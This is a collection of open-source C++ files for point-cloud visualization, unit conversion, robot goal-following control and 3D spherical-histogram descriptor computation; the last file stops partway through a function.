{"text": "#include <math.h>\n#include <vector>\n#include \"viewer.h\"\n#include <pcl/io/pcd_io.h>\n#include <pcl/common/centroid.h>\n#include <pcl/common/common.h>\n#include <pcl/visualization/common/common.h>\n#include <boost/filesystem.hpp>\n\nusing namespace ssv3d;\n\nPCLViewer::PCLViewer(const std::string& title)\n{\n  m_viewer = new pcl::visualization::PCLVisualizer(title);\n  m_viewer->initCameraParameters();\n  m_viewer->setSize(1000,800);\n  m_viewer->addCoordinateSystem (0.5, \"cloud\", 0);\n  m_viewer->setBackgroundColor(1,1,1);\n  m_viewer->setCameraPosition(5.0,-5.0,5.0,0,0,0,0,0,1,0);\n}\n\nPCLViewer::~PCLViewer()\n{\n  delete m_viewer;\n}\n\nbool PCLViewer::IsStop() const\n{\n  return m_viewer->wasStopped();\n}\n\nvoid PCLViewer::AddPointCloud(const WSPointCloudPtr cloud, int vp)\n{\n  m_viewer->removeAllShapes();\n  m_viewer->removeAllPointClouds();\n  std::string name(\"cloud_\");\n  name.append(std::to_string(vp));\n  m_viewer->addPointCloud<WSPoint>(cloud,name,vp);\n  m_viewer->setPointCloudRenderingProperties(pcl::visualization::PCL_VISUALIZER_POINT_SIZE,1,name,vp);\n\n  // set camera position\n  Eigen::Vector4f centroid, min, max;\n  pcl::compute3DCentroid(*cloud, centroid);\n  pcl::getMinMax3D<WSPoint>(*cloud, min, max);\n  double dRadius = 1.0*std::sqrt((max[0]-min[0])*(max[0]-min[0])+(max[1]-min[1])*(max[1]-min[1])+(max[2]-min[2])*(max[2]-min[2]));\n  m_viewer->setCameraPosition(dRadius,-dRadius,dRadius,centroid[0],centroid[1],centroid[2],0,0,1,vp);\n}\n\nvoid PCLViewer::AddCube(const WSPoint& point, double s, int id, double r,double g, double b, int vp)\n{\n  std::string name(\"cube_\");\n  name.append(std::to_string(id));\n  m_viewer->removeShape(name);\n  m_viewer->addCube(point.x-0.5*s,point.x+0.5*s,point.y-0.5*s,point.y+0.5*s,point.z-0.5*s,point.z+0.5*s,r,g,b,name,vp);\n  m_viewer->setShapeRenderingProperties(pcl::visualization::PCL_VISUALIZER_REPRESENTATION, 1, name);\n  m_viewer->setShapeRenderingProperties(pcl::visualization::PCL_VISUALIZER_OPACITY, 0.2, name);\n  m_viewer->setShapeRenderingProperties(pcl::visualization::PCL_VISUALIZER_LINE_WIDTH, 1, name);\n}\n\nvoid PCLViewer::AddArrow(const WSPoint& pt, const WSNormal& normal, double length, int id, double r,double g, double b, int vp)\n{\n  std::string name(\"arrow_\");\n  name.append(std::to_string(id));\n  m_viewer->removeShape(name);\n  WSPoint pte;\n  pte.x = pt.x + length*normal.normal_x;\n  pte.y = pt.y + length*normal.normal_y;\n  pte.z = pt.z + length*normal.normal_z;\n  m_viewer->addArrow(pt,pte,r,g,b,false,name,vp);\n}\n\nvoid PCLViewer::AddMesh(const pcl::PolygonMesh& mesh)\n{\n  if (!m_viewer->updatePolygonMesh(mesh, \"mesh\"))\n  {\n    m_viewer->addPolygonMesh(mesh, \"mesh\");\n    m_viewer->setPointCloudRenderingProperties(pcl::visualization::PCL_VISUALIZER_POINT_SIZE, 1, \"mesh\");\n  }\n}\n\nvoid PCLViewer::AddCoordinateSystem(const Eigen::Affine3f& camPose, int idIndex, double scale,int vp, bool removeall)\n{\n  std::string name(\"ccs\");\n  name.append(std::to_string(vp));\n  name.append(std::to_string(idIndex));\n  m_viewer->addCoordinateSystem(scale,camPose,name,vp);\n}\n\nvoid PCLViewer::SpinOnce(double duration)\n{\n  m_viewer->spinOnce(duration);\n}\n\nvoid PCLViewer::Spin() const\n{\n  m_viewer->spin();\n}\n\nvoid PCLViewer::AddText(const std::string& text, const std::string& id, int vp)\n{\n    m_viewer->addText(text,50,50,30,0.0,0.0,0.0,id,vp);\n}\n\nvoid PCLViewer::AddLine(const WSPoint& startPt, const WSPoint& endPt, int idx, double r,double g, double b, int vp)\n{\n  std::string id(\"line_\");\n  id.append(std::to_string(idx));\n  m_viewer->addLine(startPt,endPt,r,g,b,id,vp);\n  m_viewer->setShapeRenderingProperties(pcl::visualization::PCL_VISUALIZER_LINE_WIDTH, 5, id);\n}\n\nvoid PCLViewer::AddPolygon(const WSPointCloudPtr& polygon, const std::string& id, double r, double g, double b, int vp)\n{\n  m_viewer->addPolygon<WSPoint>(polygon,r,g,b,id,vp);\n  m_viewer->setShapeRenderingProperties(pcl::visualization::PCL_VISUALIZER_REPRESENTATION, 1, id);\n  m_viewer->setShapeRenderingProperties(pcl::visualization::PCL_VISUALIZER_OPACITY, 0.2, id);\n  m_viewer->setShapeRenderingProperties(pcl::visualization::PCL_VISUALIZER_LINE_WIDTH, 2, id);\n}\n\nvoid PCLViewer::AddNormals(const WSPointCloudPtr cloud, const WSPointCloudNormalPtr normal, int size, double arrow, int vp)\n{\n  std::string name(\"normal_\");\n  name.append(std::to_string(vp));\n  m_viewer->addPointCloudNormals<WSPoint, WSNormal>(cloud,normal,size,arrow,name,vp);\n}\n", "meta": {"hexsha": "efb61740fe869833a9c0968167a9f10e9635794f", "size": 4365, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "aircraft_scanning_data/src/viewer.cpp", "max_stars_repo_name": "suneric/aircraft_scanning", "max_stars_repo_head_hexsha": "18c7deb8405eabecab643e7ebbda5f3a61e78393", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "aircraft_scanning_data/src/viewer.cpp", "max_issues_repo_name": "suneric/aircraft_scanning", "max_issues_repo_head_hexsha": "18c7deb8405eabecab643e7ebbda5f3a61e78393", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "aircraft_scanning_data/src/viewer.cpp", "max_forks_repo_name": "suneric/aircraft_scanning", "max_forks_repo_head_hexsha": "18c7deb8405eabecab643e7ebbda5f3a61e78393", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.6428571429, "max_line_length": 130, "alphanum_fraction": 0.7337915235, "num_tokens": 1332, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.2814056014026228, "lm_q1q2_score": 0.14619621004541433}}
{"text": "// Boost.Units - A C++ library for zero-overhead dimensional analysis and \r\n// unit/quantity manipulation and conversion\r\n//\r\n// Copyright (C) 2003-2008 Matthias Christian Schabel\r\n// Copyright (C) 2007-2008 Steven Watanabe\r\n//\r\n// Distributed under the Boost Software License, Version 1.0. (See\r\n// accompanying file LICENSE_1_0.txt or copy at\r\n// http://www.boost.org/LICENSE_1_0.txt)\r\n\r\n// No include guards.  This header is intended to be included\r\n// multiple times.\r\n\r\n// imperial units\r\n\r\n#if 0\r\n\r\n#if defined(BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_HPP_INCLUDED) && defined(BOOST_UNITS_BASE_UNITS_IMPERIAL_GALLON_HPP_INCLUDED) &&\\\r\n    !defined(BOOST_BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_TO_GALLON_CONVERSION_DEFINED)\r\n    #define BOOST_BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_TO_GALLON_CONVERSION_DEFINED\r\n    #include <boost/units/conversion.hpp>\r\n    BOOST_UNITS_DEFINE_CONVERSION_FACTOR(boost::units::imperial::pint_base_unit,boost::units::imperial::gallon_base_unit, double, 1./8.);\r\n#endif\r\n\r\n#if defined(BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_HPP_INCLUDED) && defined(BOOST_UNITS_BASE_UNITS_IMPERIAL_QUART_HPP_INCLUDED) &&\\\r\n    !defined(BOOST_BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_TO_QUART_CONVERSION_DEFINED)\r\n    #define BOOST_BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_TO_QUART_CONVERSION_DEFINED\r\n    #include <boost/units/conversion.hpp>\r\n    BOOST_UNITS_DEFINE_CONVERSION_FACTOR(boost::units::imperial::pint_base_unit,boost::units::imperial::quart_base_unit, double, 1./2.);\r\n#endif\r\n\r\n#if defined(BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_HPP_INCLUDED) && defined(BOOST_UNITS_BASE_UNITS_IMPERIAL_GILL_HPP_INCLUDED) &&\\\r\n    !defined(BOOST_BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_TO_GILL_CONVERSION_DEFINED)\r\n    #define BOOST_BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_TO_GILL_CONVERSION_DEFINED\r\n    #include <boost/units/conversion.hpp>\r\n    BOOST_UNITS_DEFINE_CONVERSION_FACTOR(boost::units::imperial::pint_base_unit,boost::units::imperial::gill_base_unit, double, 4.);\r\n#endif\r\n\r\n#if defined(BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_HPP_INCLUDED) && defined(BOOST_UNITS_BASE_UNITS_IMPERIAL_FLUID_OUNCE_HPP_INCLUDED) &&\\\r\n    !defined(BOOST_BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_TO_FLUID_OUNCE_CONVERSION_DEFINED)\r\n    #define BOOST_BOOST_UNITS_BASE_UNITS_IMPERIAL_PINT_TO_FLUID_OUNCE_CONVERSION_DEFINED\r\n    #include <boost/units/conversion.hpp>\r\n    BOOST_UNITS_DEFINE_CONVERSION_FACTOR(boost::units::imperial::pint_base_unit,boost::units::imperial::fluid_ounce_base_unit, double, 20.);\r\n#endif\r\n\r\n#endif\r\n", "meta": {"hexsha": "163b4e24d8cc56fdee534f1e1d1e39f6219f0517", "size": 2500, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "ios/Pods/boost-for-react-native/boost/units/base_units/imperial/conversions.hpp", "max_stars_repo_name": "rudylee/expo", "max_stars_repo_head_hexsha": "b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc", "max_stars_repo_licenses": ["Apache-2.0", "MIT"], "max_stars_count": 8805.0, "max_stars_repo_stars_event_min_datetime": "2015-11-03T00:52:29.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T22:30:03.000Z", "max_issues_repo_path": "ios/Pods/boost-for-react-native/boost/units/base_units/imperial/conversions.hpp", "max_issues_repo_name": "rudylee/expo", "max_issues_repo_head_hexsha": "b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc", "max_issues_repo_licenses": ["Apache-2.0", "MIT"], "max_issues_count": 14694.0, "max_issues_repo_issues_event_min_datetime": "2015-02-24T15:13:42.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T13:16:45.000Z", "max_forks_repo_path": "ios/Pods/boost-for-react-native/boost/units/base_units/imperial/conversions.hpp", "max_forks_repo_name": "rudylee/expo", "max_forks_repo_head_hexsha": "b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc", "max_forks_repo_licenses": ["Apache-2.0", "MIT"], "max_forks_count": 1329.0, "max_forks_repo_forks_event_min_datetime": "2015-11-03T20:25:51.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T18:10:38.000Z", "avg_line_length": 53.1914893617, "max_line_length": 141, "alphanum_fraction": 0.8148, "num_tokens": 647, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2877678157610531, "lm_q1q2_score": 0.146131911001175}}
{"text": "// Copyright 2021 iRobot Corporation. All Rights Reserved.\n// @author Justin Kearns (jkearns@irobot.com)\n\n#ifndef IROBOT_CREATE_TOOLBOX__MOTION_CONTROL__SIMPLE_GOAL_CONTROLLER_HPP_\n#define IROBOT_CREATE_TOOLBOX__MOTION_CONTROL__SIMPLE_GOAL_CONTROLLER_HPP_\n\n#include <angles/angles.h>\n#include <boost/optional.hpp>\n#include <geometry_msgs/msg/twist.hpp>\n#include <irobot_create_toolbox/motion_control/behaviors_scheduler.hpp>\n#include <tf2/utils.h>\n#include <tf2_geometry_msgs/tf2_geometry_msgs.h>\n\n#include <deque>\n#include <functional>\n#include <mutex>\n#include <vector>\n\nnamespace irobot_create_toolbox\n{\n\n/**\n * @brief This class provides an API to give velocity commands given a goal and position.\n */\nclass SimpleGoalController\n{\npublic:\n  SimpleGoalController()\n  {\n  }\n\n  /// \\brief Structure to keep information for each point in commanded path\n  //  including pose with position and orientation of point\n  //  radius that is considered close enough to achieving the point\n  //  drive_backwards whether the robot should drive backwards towards the point (for undocking)\n  struct CmdPathPoint\n  {\n    CmdPathPoint(tf2::Transform p, float r, bool db)\n    : pose(p), radius(r), drive_backwards(db) {}\n    tf2::Transform pose;\n    float radius;\n    bool drive_backwards;\n  };\n  using CmdPath = std::vector<CmdPathPoint>;\n\n  /// \\brief Set goal path for controller along with max rotation and translation speed\n  void initialize_goal(const CmdPath & cmd_path, double max_rotation, double max_translation)\n  {\n    const std::lock_guard<std::mutex> lock(mutex_);\n    // Convert path points to goal points\n    goal_points_.clear();\n    goal_points_.resize(cmd_path.size());\n    for (size_t i = 0; i < cmd_path.size(); ++i) {\n      GoalPoint & gp = goal_points_[i];\n      const tf2::Vector3 & pt_position = cmd_path[i].pose.getOrigin();\n      gp.x = pt_position.getX();\n      gp.y = pt_position.getY();\n      gp.theta = tf2::getYaw(cmd_path[i].pose.getRotation());\n      gp.radius = cmd_path[i].radius;\n      gp.drive_backwards = cmd_path[i].drive_backwards;\n    }\n    navigate_state_ = NavigateStates::ANGLE_TO_GOAL;\n    max_rotation_ = max_rotation;\n    max_translation_ = max_translation;\n  }\n\n  /// \\brief Clear goal\n  void reset()\n  {\n    const std::lock_guard<std::mutex> lock(mutex_);\n    goal_points_.clear();\n  }\n\n  // \\brief Generate velocity based on current position and next goal point looking for convergence\n  // with goal point based on radius.\n  // \\return empty optional if no goal or velocity command to get to next goal point\n  BehaviorsScheduler::optional_output_t get_velocity_for_position(\n    const tf2::Transform & current_pose)\n  {\n    BehaviorsScheduler::optional_output_t servo_vel;\n    const std::lock_guard<std::mutex> lock(mutex_);\n    if (goal_points_.size() == 0) {\n      return servo_vel;\n    }\n    double current_angle = tf2::getYaw(current_pose.getRotation());\n    const tf2::Vector3 & current_position = current_pose.getOrigin();\n    // Generate velocity based on current position and next goal point looking for convergence\n    // with goal point based on radius.\n    switch (navigate_state_) {\n      case NavigateStates::ANGLE_TO_GOAL:\n        {\n          const GoalPoint & gp = goal_points_.front();\n          double dist_to_goal = std::hypot(\n            gp.x - current_position.getX(),\n            gp.y - current_position.getY());\n          if (dist_to_goal <= gp.radius) {\n            servo_vel = geometry_msgs::msg::Twist();\n            navigate_state_ = NavigateStates::GO_TO_GOAL_POSITION;\n          } else {\n            double ang = diff_angle(gp, current_position, current_angle);\n            if (gp.drive_backwards) {\n              // Angle is 180 from travel direction\n              ang = angles::normalize_angle(ang + M_PI);\n            }\n            bound_rotation(ang);\n            servo_vel = geometry_msgs::msg::Twist();\n            if (std::abs(ang) < TO_GOAL_ANGLE_CONVERGED) {\n              navigate_state_ = NavigateStates::GO_TO_GOAL_POSITION;\n            } else {\n              servo_vel->angular.z = ang;\n            }\n          }\n          break;\n        }\n      case NavigateStates::GO_TO_GOAL_POSITION:\n        {\n          const GoalPoint & gp = goal_points_.front();\n          double dist_to_goal = std::hypot(\n            gp.x - current_position.getX(),\n            gp.y - current_position.getY());\n          double ang = diff_angle(gp, current_position, current_angle);\n          double abs_ang = std::abs(ang);\n          if (gp.drive_backwards) {\n            // Angle is 180 from travel direction\n            abs_ang = angles::normalize_angle(abs_ang + M_PI);\n          }\n          servo_vel = geometry_msgs::msg::Twist();\n          // If robot is close enough to goal, move to final stage\n          if (dist_to_goal < goal_points_.front().radius) {\n            navigate_state_ = NavigateStates::GOAL_ANGLE;\n            // If robot angle has deviated too much from path, reset\n          } else if (abs_ang > GO_TO_GOAL_ANGLE_TOO_FAR) {\n            navigate_state_ = NavigateStates::ANGLE_TO_GOAL;\n            // If niether of above conditions met, drive towards goal\n          } else {\n            double translate_velocity = dist_to_goal;\n            if (translate_velocity > max_translation_) {\n              translate_velocity = max_translation_;\n            }\n            if (gp.drive_backwards) {\n              translate_velocity *= -1;\n            }\n            servo_vel->linear.x = translate_velocity;\n            if (abs_ang > GO_TO_GOAL_APPLY_ROTATION_ANGLE) {\n              servo_vel->angular.z = ang;\n            }\n          }\n          break;\n        }\n      case NavigateStates::GOAL_ANGLE:\n        {\n          double ang =\n            angles::shortest_angular_distance(current_angle, goal_points_.front().theta);\n          bound_rotation(ang);\n          if (std::abs(ang) > GOAL_ANGLE_CONVERGED) {\n            servo_vel = geometry_msgs::msg::Twist();\n            servo_vel->angular.z = ang;\n          } else {\n            goal_points_.pop_front();\n            if (goal_points_.size() > 0) {\n              servo_vel = geometry_msgs::msg::Twist();\n              navigate_state_ = NavigateStates::ANGLE_TO_GOAL;\n            }\n          }\n          break;\n        }\n    }\n    return servo_vel;\n  }\n\nprivate:\n  enum class NavigateStates\n  {\n    ANGLE_TO_GOAL,\n    GO_TO_GOAL_POSITION,\n    GOAL_ANGLE,\n  };\n\n  struct GoalPoint\n  {\n    double x;\n    double y;\n    double theta;\n    float radius;\n    bool drive_backwards;\n  };\n\n  void bound_rotation(double & rotation_velocity)\n  {\n    double abs_rot = std::abs(rotation_velocity);\n    if (abs_rot > max_rotation_) {\n      rotation_velocity = std::copysign(max_rotation_, rotation_velocity);\n    } else if (abs_rot < MIN_ROTATION && abs_rot > 0.01) {\n      // min speed if desire small non zero velocity\n      rotation_velocity = std::copysign(MIN_ROTATION, rotation_velocity);\n    }\n  }\n\n  double diff_angle(const GoalPoint & goal_pt, const tf2::Vector3 & cur_position, double cur_angle)\n  {\n    return angles::shortest_angular_distance(\n      cur_angle, std::atan2(\n        goal_pt.y - cur_position.getY(),\n        goal_pt.x - cur_position.getX()));\n  }\n\n  std::mutex mutex_;\n  std::deque<GoalPoint> goal_points_;\n  NavigateStates navigate_state_;\n  double max_rotation_;\n  double max_translation_;\n  const double MIN_ROTATION {0.1};\n  const double TO_GOAL_ANGLE_CONVERGED {0.03};\n  const double GO_TO_GOAL_ANGLE_TOO_FAR {M_PI / 16.0};\n  const double GO_TO_GOAL_APPLY_ROTATION_ANGLE {0.02};\n  const double GOAL_ANGLE_CONVERGED {0.02};\n};\n\n}  // namespace irobot_create_toolbox\n#endif   // IROBOT_CREATE_TOOLBOX__MOTION_CONTROL__SIMPLE_GOAL_CONTROLLER_HPP_\n", "meta": {"hexsha": "a418b9d2f4d1a4cd75a7c8b6b49e56007a8b3baf", "size": 7684, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "irobot_create_common/irobot_create_toolbox/include/irobot_create_toolbox/motion_control/simple_goal_controller.hpp", "max_stars_repo_name": "ahcorde/create3_sim", "max_stars_repo_head_hexsha": "758bce45ae4bc49f312a636282dfd312c931c2b4", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "irobot_create_common/irobot_create_toolbox/include/irobot_create_toolbox/motion_control/simple_goal_controller.hpp", "max_issues_repo_name": "ahcorde/create3_sim", "max_issues_repo_head_hexsha": "758bce45ae4bc49f312a636282dfd312c931c2b4", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "irobot_create_common/irobot_create_toolbox/include/irobot_create_toolbox/motion_control/simple_goal_controller.hpp", "max_forks_repo_name": "ahcorde/create3_sim", "max_forks_repo_head_hexsha": "758bce45ae4bc49f312a636282dfd312c931c2b4", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.7692307692, "max_line_length": 99, "alphanum_fraction": 0.6534357106, "num_tokens": 1787, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.2782568056728001, "lm_q1q2_score": 0.14564527431916394}}
{"text": "#include <string>\n#include <iostream>\n#include <sstream>\n#include <fstream>\n#include <algorithm>\n#include <vector>\n#include <utility>\n\n//#include <boost/thread/thread.hpp>\n#include <pcl/common/common_headers.h>\n#include <pcl/features/normal_3d.h>\n#include <pcl/features/normal_3d_omp.h>\n#include <pcl/features/shot.h>\n#include <pcl/features/shot_lrf.h>\n#include <pcl/features/shot_omp.h>\n#include <pcl/features/shot_lrf_omp.h>\n#include <pcl/features/board.h>\n#include <pcl/io/pcd_io.h>\n#include <pcl/common/transforms.h>\n#include <pcl/console/parse.h>\n#include <pcl/filters/filter.h>\n#include <pcl/filters/voxel_grid.h>\n#include <pcl/point_types.h>\n\n\n#include \"liblzf-3.6/lzf_c.c\"\n#include \"liblzf-3.6/lzf_d.c\"\n\n#include <ros/ros.h>\n#include <pcl_ros/point_cloud.h>\n#include <pcl/point_types.h>\n#include <boost/foreach.hpp>\n\n\n#include <stdio.h>\n#include <Python.h>\n// #include <pyhelper.hpp>\n\n\nusing namespace std;\n\nvoid usage(const char* program)\n{\n    cout << \"Usage: \" << program << \" [options] <input.pcd>\" << endl << endl;\n    cout << \"Options: \" << endl;\n    cout << \"--relative If selected, scale is relative to the diameter of the model (-d). Otherwise scale is absolute.\" << endl;\n    cout << \"-r R Number of subdivisions in the radial direction. Default 17.\" << endl;\n    cout << \"-p P Number of subdivisions in the elevation direction. Default 11.\" << endl;\n    cout << \"-a A Number of subdivisions in the azimuth direction. Default 12.\" << endl;\n    cout << \"-s S Radius of sphere around each point. Default 1.18 (absolute) or 17\\% of diameter (relative).\" << endl;\n    cout << \"-d D Diameter of full model. Must be provided for relative scale.\" << endl;\n    cout << \"-m M Smallest radial subdivision. Default 0.1 (absolute) or 1.5\\% of diameter (relative).\" << endl;\n    cout << \"-l L Search radius for local reference frame. Default 0.25 (absolute) or 2\\% of diameter (relative).\" << endl;\n    cout << \"-t T Number of threads. Default 16.\" << endl;\n    cout << \"-o Output file name.\" << endl;\n    cout << \"-h Help menu.\" << endl;\n}\n\nvector<vector<double> > compute_intensities(pcl::PointCloud<pcl::PointXYZ>::Ptr cloud, \n                                            pcl::PointCloud<pcl::PointNormal>::Ptr normals,\n                                            int num_bins_radius, \n                                            int num_bins_polar,\n                                            int num_bins_azimuth,\n                                            double search_radius,\n                                            double lrf_radius, \n                                            double rmin,\n                                            int num_threads)\n{\n    vector<vector<double> > intensities;\n    intensities.resize(cloud->points.size());\n    \n    pcl::search::KdTree<pcl::PointXYZ>::Ptr tree(new pcl::search::KdTree<pcl::PointXYZ>());\n    tree->setInputCloud(cloud);\n\n    pcl::PointCloud<pcl::ReferenceFrame>::Ptr frames(new pcl::PointCloud<pcl::ReferenceFrame>());\n    pcl::SHOTLocalReferenceFrameEstimation<pcl::PointXYZ>::Ptr lrf_estimator(new pcl::SHOTLocalReferenceFrameEstimation<pcl::PointXYZ>());\n    lrf_estimator->setRadiusSearch(lrf_radius);\n    lrf_estimator->setInputCloud(cloud);\n    \n    lrf_estimator->compute(*frames);\n\n    pcl::StopWatch watch_intensities;\n\n    double ln_rmin = log(rmin);\n    double ln_rmax_rmin = log(search_radius/rmin);\n    \n    double azimuth_interval = 360.0 / num_bins_azimuth;\n    double polar_interval = 180.0 / num_bins_polar; \n    vector<double> radii_interval, azimuth_division, polar_division;\n    for(int i = 0; i < num_bins_radius+1; i++) {\n        radii_interval.push_back(exp(ln_rmin + ((double)i) / num_bins_radius * ln_rmax_rmin));\n    }\n    for(int i = 0; i < num_bins_azimuth + 1; i++) {\n        azimuth_division.push_back(i * azimuth_interval);\n    } \n    for(int i = 0; i < num_bins_polar + 1; i++) {\n        polar_division.push_back(i * polar_interval);\n    } \n    radii_interval[0] = 0;\n\n    vector<double> integr_radius, integr_polar;\n    double integr_azimuth;\n    for(int i = 0; i < num_bins_radius; i++) {\n        integr_radius.push_back((radii_interval[i+1]*radii_interval[i+1]*radii_interval[i+1])/3 - (radii_interval[i]*radii_interval[i]*radii_interval[i])/3 );\n    }\n    integr_azimuth = pcl::deg2rad(azimuth_division[1]) - pcl::deg2rad(azimuth_division[0]);\n    for(int i = 0; i < num_bins_polar; i++) {\n        integr_polar.push_back(cos(pcl::deg2rad(polar_division[i]))-cos(pcl::deg2rad(polar_division[i+1])));\n    }  \n\n\n    for(int i = 0; i < cloud->points.size(); i++) {\n        vector<int> indices;\n        vector<float> distances;\n        vector<double> intensity;\n        int sum = 0;\n        intensity.resize(num_bins_radius * num_bins_polar * num_bins_azimuth);\n \n        pcl::ReferenceFrame current_frame = (*frames)[i];\n        Eigen::Vector4f current_frame_x (current_frame.x_axis[0], current_frame.x_axis[1], current_frame.x_axis[2], 0);\n        Eigen::Vector4f current_frame_y (current_frame.y_axis[0], current_frame.y_axis[1], current_frame.y_axis[2], 0);\n        Eigen::Vector4f current_frame_z (current_frame.z_axis[0], current_frame.z_axis[1], current_frame.z_axis[2], 0);\n\n        if(isnan(current_frame_x[0]) || isnan(current_frame_x[1]) || isnan(current_frame_x[2]) ) {\n            current_frame_x[0] = 1, current_frame_x[1] = 0, current_frame_x[2] = 0;  \n            current_frame_y[0] = 0, current_frame_y[1] = 1, current_frame_y[2] = 0;  \n            current_frame_z[0] = 0, current_frame_z[1] = 0, current_frame_z[2] = 1;  \n        } else {\n            float nx = normals->points[i].normal_x, ny = normals->points[i].normal_y, nz = normals->points[i].normal_z;\n            Eigen::Vector4f n(nx, ny, nz, 0);\n            if(current_frame_z.dot(n) < 0) {\n                current_frame_x = -current_frame_x;\n                current_frame_y = -current_frame_y;\n                current_frame_z = -current_frame_z;\n            }\n        }\n    \n        fill(intensity.begin(), intensity.end(), 0);\n        tree->radiusSearch(cloud->points[i], search_radius, indices, distances);\n        for(int j = 1; j < indices.size(); j++) {\n            if(distances[j] > 1E-15) {\n                Eigen::Vector4f v = cloud->points[indices[j]].getVector4fMap() - cloud->points[i].getVector4fMap(); \n                double x_l = (double)v.dot(current_frame_x);\n                double y_l = (double)v.dot(current_frame_y);\n                double z_l = (double)v.dot(current_frame_z);\n                \n                double r = sqrt(x_l*x_l + y_l*y_l + z_l*z_l);\n                double theta = pcl::rad2deg(acos(z_l / r));\n                double phi = pcl::rad2deg(atan2(y_l, x_l));\n                int bin_r = int((num_bins_radius - 1) * (log(r) - ln_rmin) / ln_rmax_rmin + 1);\n                int bin_theta = int(num_bins_polar * theta / 180);\n                int bin_phi = int(num_bins_azimuth * (phi + 180) / 360);\n\n                bin_r = bin_r >= 0 ? bin_r : 0;\n                bin_r = bin_r < num_bins_radius ? bin_r : num_bins_radius - 1;\n                bin_theta = bin_theta < num_bins_polar ? bin_theta : num_bins_polar - 1;\n                bin_phi = bin_phi < num_bins_azimuth ? bin_phi : num_bins_azimuth - 1;\n                int idx = bin_r + bin_theta * num_bins_radius + bin_phi * num_bins_radius * num_bins_polar;\n                intensity[idx] += 1;\n                sum += 1;\n            }\n        }\n        if(sum > 0) {\n            for(int j = 0; j < intensity.size(); j++) {\n                intensity[j] /= sum;\n            }\n        }\n        intensities[i] = intensity;\n    }\n    pcl::console::print_highlight(\"Raw Spherical Histograms Time: %f (s)\\n\", watch_intensities.getTimeSeconds());\n    return intensities;\n}\n\ntypedef pcl::PointCloud<pcl::PointXYZ>::Ptr PointCloud;\n\nvoid callback(PointCloud point_cloud_wf)\n{\n    int num_bins_radius = 17, num_bins_polar = 11, num_bins_azimuth = 12;\n    int num_threads = 16;\n    double search_radius = 1.18, lrf_radius = 0.25;\n    double diameter = 4*sqrt(3);\n    double rmin = 0.1;\n    //string output_file = \"/home/user/Desktop/LoopClosure/SRC/histo_output.lzf\";\n \n    bool relative_scale = 0>= 0;    \n\n    std::cout << relative_scale << std::endl;\n    if(relative_scale) {\n        search_radius = 0.17 * diameter;\n        lrf_radius = 0.02 * diameter;\n        rmin = 0.015 * diameter; \n    }\n\n    // pcl::PointCloud<pcl::PointXYZ>::Ptr point_cloud_wf (new pcl::PointCloud<pcl::PointXYZ>);\n    pcl::PointCloud<pcl::PointXYZ>::Ptr cloud (new pcl::PointCloud<pcl::PointXYZ>);\n    pcl::PointCloud<pcl::PointNormal>::Ptr cloud_with_normals(new pcl::PointCloud<pcl::PointNormal>);\n\n    \n    int success = 1;\n    std::vector<int> indices;\n    pcl::removeNaNFromPointCloud (*point_cloud_wf, *point_cloud_wf,indices);\n                \n    const float VOXEL_GRID_SIZE = 0.9f;\n    pcl::VoxelGrid<pcl::PointXYZ> vox_grid;\n    vox_grid.setLeafSize( VOXEL_GRID_SIZE, VOXEL_GRID_SIZE, VOXEL_GRID_SIZE );\n    vox_grid.setInputCloud(point_cloud_wf);\n    vox_grid.filter(*cloud);\n\n\n    if(success == -1) {\n        PCL_ERROR(\"Could not read file.\");\n        return;\n    }\n    \n    cout<<\"Calculate Spherical Coordinate\"<<endl;\n\n    vector<vector<double> > intensities = compute_intensities(cloud, cloud_with_normals,\n                                                              num_bins_radius, num_bins_polar, num_bins_azimuth, \n                                                              search_radius, lrf_radius, \n                                                              rmin, num_threads);\n    \n    // vector<double> intensities_flat;\n\t\n\n    cout<<\"Convert to C++ vector to PyObject list\"<<endl;\n    PyObject *listObj = PyList_New(intensities.size()*intensities.size());\n    PyObject *pName, *pModule, *pDict, *pFunc;\n    PyObject *pArgs, *pValue;\n    Py_Initialize();\n\tif (!listObj) throw logic_error(\"Unable to allocate memory for Python list\");\n    // intensities_flat.resize(intensities.size()*intensities.size();\n    int cnt = 0;\n    \n    